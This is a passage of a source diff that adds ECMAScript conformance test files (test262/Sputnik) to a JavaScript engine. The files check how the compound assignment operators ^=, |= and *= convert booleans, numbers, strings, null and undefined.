+if (x !== 1) {
+ $ERROR('#1: x = true; x ^= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x ^= true;
+if (x !== 1) {
+ $ERROR('#2: x = null; x ^= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x ^= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x ^= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x ^= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = null; x ^= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.1.js
new file mode 100644
index 000000000..afc6d63cf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x |= true;
+if (x !== 1) {
+ $ERROR('#1: x = true; x |= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x |= true;
+if (x !== 1) {
+ $ERROR('#2: x = new Boolean(true); x |= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x |= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#3: x = true; x |= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x |= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = new Boolean(true); x |= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.2.js
new file mode 100644
index 000000000..24a4a8fa5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x |= 1;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x |= 1;
+if (x !== 1) {
+ $ERROR('#2: x = new Number(1); x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x |= new Number(1);
+if (x !== 1) {
+ $ERROR('#3: x = 1; x |= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x |= new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = new Number(1); x |= new Number(1); x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.3.js
new file mode 100644
index 000000000..5e6ae229a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x |= "1";
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x |= "1";
+if (x !== 1) {
+ $ERROR('#2: x = new String("1"); x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x |= new String("1");
+if (x !== 1) {
+ $ERROR('#3: x = "1"; x |= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x |= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = new String("1"); x |= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x |= "1";
+if (x !== 1) {
+ $ERROR('#5: x = "x"; x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x |= "x";
+if (x !== 1) {
+ $ERROR('#6: x = "1"; x |= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.4.js
new file mode 100644
index 000000000..2c16de058
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x |= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = null; x |= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x |= null;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x |= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x |= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = undefined; x |= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x |= null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x |= null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.1.js
new file mode 100644
index 000000000..f764964f0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x |= 1;
+if (x !== 1) {
+ $ERROR('#1: x = true; x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x |= true;
+if (x !== 1) {
+ $ERROR('#2: x = 1; x |= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x |= 1;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x |= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = 1; x |= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x |= new Number(1);
+if (x !== 1) {
+ $ERROR('#5: x = true; x |= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x |= true;
+if (x !== 1) {
+ $ERROR('#6: x = new Number(1); x |= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x |= new Number(1);
+if (x !== 1) {
+ $ERROR('#7: x = new Boolean(true); x |= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x |= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#8: x = new Number(1); x |= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.2.js
new file mode 100644
index 000000000..46e183eb9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x |= 1;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x |= "1";
+if (x !== 1) {
+ $ERROR('#2: x = 1; x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x |= 1;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x |= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = 1; x |= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x |= new Number(1);
+if (x !== 1) {
+ $ERROR('#5: x = "1"; x |= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x |= "1";
+if (x !== 1) {
+ $ERROR('#6: x = new Number(1); x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x |= new Number(1);
+if (x !== 1) {
+ $ERROR('#7: x = new String("1"); x |= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x |= new String("1");
+if (x !== 1) {
+ $ERROR('#8: x = new Number(1); x |= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x |= 1;
+if (x !== 1) {
+ $ERROR('#9: x = "x"; x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x |= "x";
+if (x !== 1) {
+ $ERROR('#10: x = 1; x |= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.3.js
new file mode 100644
index 000000000..070f1ecfe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x |= null;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x |= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x |= 1;
+if (x !== 1) {
+ $ERROR('#2: x = null; x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x |= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x |= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x |= new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = null; x |= new Number(1); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.4.js
new file mode 100644
index 000000000..e83610f36
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x |= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x |= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x |= 1;
+if (x !== 1) {
+ $ERROR('#2: x = undefined; x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x |= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x |= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x |= new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = undefined; x |= new Number(1); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.5.js
new file mode 100644
index 000000000..0511f6674
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x |= "1";
+if (x !== 1) {
+ $ERROR('#1: x = true; x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x |= true;
+if (x !== 1) {
+ $ERROR('#2: x = "1"; x |= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x |= "1";
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x |= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = "1"; x |= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x |= new String("1");
+if (x !== 1) {
+ $ERROR('#5: x = true; x |= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x |= true;
+if (x !== 1) {
+ $ERROR('#6: x = new String("1"); x |= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x |= new String("1");
+if (x !== 1) {
+ $ERROR('#7: x = new Boolean(true); x |= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x |= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#8: x = new String("1"); x |= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.6.js
new file mode 100644
index 000000000..b3aa7445c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x |= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x |= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x |= "1";
+if (x !== 1) {
+ $ERROR('#2: x = undefined; x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x |= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x |= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x |= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = undefined; x |= new String("1"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.7.js
new file mode 100644
index 000000000..b1539ad74
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x |= null;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x |= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x |= "1";
+if (x !== 1) {
+ $ERROR('#2: x = null; x |= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x |= null;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x |= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x |= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = null; x |= new String("1"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.8.js
new file mode 100644
index 000000000..dbe3e0a1f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x |= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = true; x |= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x |= true;
+if (x !== 1) {
+ $ERROR('#2: x = undefined; x |= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x |= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x |= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x |= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = undefined; x |= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.9.js
new file mode 100644
index 000000000..aaf7e4a87
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.11_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x |= y is the same as x = x | y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.11_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x |= null;
+if (x !== 1) {
+ $ERROR('#1: x = true; x |= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x |= true;
+if (x !== 1) {
+ $ERROR('#2: x = null; x |= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x |= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x |= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x |= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = null; x |= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.1.js
new file mode 100644
index 000000000..bfc284bbc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x *= true;
+if (x !== 1) {
+ $ERROR('#1: x = true; x *= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x *= true;
+if (x !== 1) {
+ $ERROR('#2: x = new Boolean(true); x *= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x *= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#3: x = true; x *= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x *= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = new Boolean(true); x *= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.2.js
new file mode 100644
index 000000000..f13415b28
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x *= 1;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x *= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x *= 1;
+if (x !== 1) {
+ $ERROR('#2: x = new Number(1); x *= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x *= new Number(1);
+if (x !== 1) {
+ $ERROR('#3: x = 1; x *= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x *= new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = new Number(1); x *= new Number(1); x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.3.js
new file mode 100644
index 000000000..67aca8fc1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x *= "1";
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x *= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x *= "1";
+if (x !== 1) {
+ $ERROR('#2: x = new String("1"); x *= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x *= new String("1");
+if (x !== 1) {
+ $ERROR('#3: x = "1"; x *= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x *= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = new String("1"); x *= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x *= "1";
+if (isNaN(x) !== true) {
+ $ERROR('#5: x = "x"; x *= "1"; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x *= "x";
+if (isNaN(x) !== true) {
+ $ERROR('#6: x = "1"; x *= "x"; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.4.js
new file mode 100644
index 000000000..fbb268105
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x *= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = null; x *= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x *= null;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x *= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x *= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = undefined; x *= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x *= null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x *= null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.1.js
new file mode 100644
index 000000000..29db0f5cb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Number (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x *= 1;
+if (x !== 1) {
+ $ERROR('#1: x = true; x *= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x *= true;
+if (x !== 1) {
+ $ERROR('#2: x = 1; x *= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x *= 1;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x *= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x *= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = 1; x *= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x *= new Number(1);
+if (x !== 1) {
+ $ERROR('#5: x = true; x *= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x *= true;
+if (x !== 1) {
+ $ERROR('#6: x = new Number(1); x *= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x *= new Number(1);
+if (x !== 1) {
+ $ERROR('#7: x = new Boolean(true); x *= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x *= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#8: x = new Number(1); x *= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.2.js
new file mode 100644
index 000000000..7d3046127
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x *= 1;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x *= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x *= "1";
+if (x !== 1) {
+ $ERROR('#2: x = 1; x *= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x *= 1;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x *= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
